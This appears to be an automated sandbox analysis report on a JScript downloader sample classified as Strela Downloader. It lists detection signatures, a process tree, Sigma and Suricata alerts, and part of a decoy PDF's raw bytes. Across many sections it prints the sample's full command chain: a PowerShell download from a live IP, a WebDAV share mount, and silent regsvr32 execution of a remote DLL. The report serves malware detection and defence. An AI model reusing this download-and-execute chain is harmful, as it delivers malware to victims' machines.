Edit tour

Windows Analysis Report
1702927977169302141.js

Overview

General Information

Sample name:	1702927977169302141.js
Analysis ID:	1588902
MD5:	4ab501bc2944913b301f07cada32a97e
SHA1:	b0debfb109cf0020f97662fcd7bdec2494809d76
SHA256:	6c750ff42d5ef2607668917680629f0670dee405e2a6d4c83cb489131beb6d67
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7204 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7488 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1624 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5900 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1684,i,4406895011367377378,10225544513247605529,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5920 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8100 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3504 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7204	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1624, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1624, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js", ProcessId: 7204, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8100, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49733

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7204, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, ProcessId: 7488, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7204, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, ProcessId: 7488, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7204, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, ProcessId: 7488, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7204, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, ProcessId: 7488, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7204, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, ProcessId: 7488, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js", ProcessId: 7204, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1624, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5920, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8100, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3504, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5920, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8100, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7204, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll, ProcessId: 7488, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:56:19.886603+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49717	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:56:22.673460+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49733	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:56:19.886603+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49717	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1702927977169302141.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1702927977169302141.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1702927977169302141.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49717 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49733 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:56:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 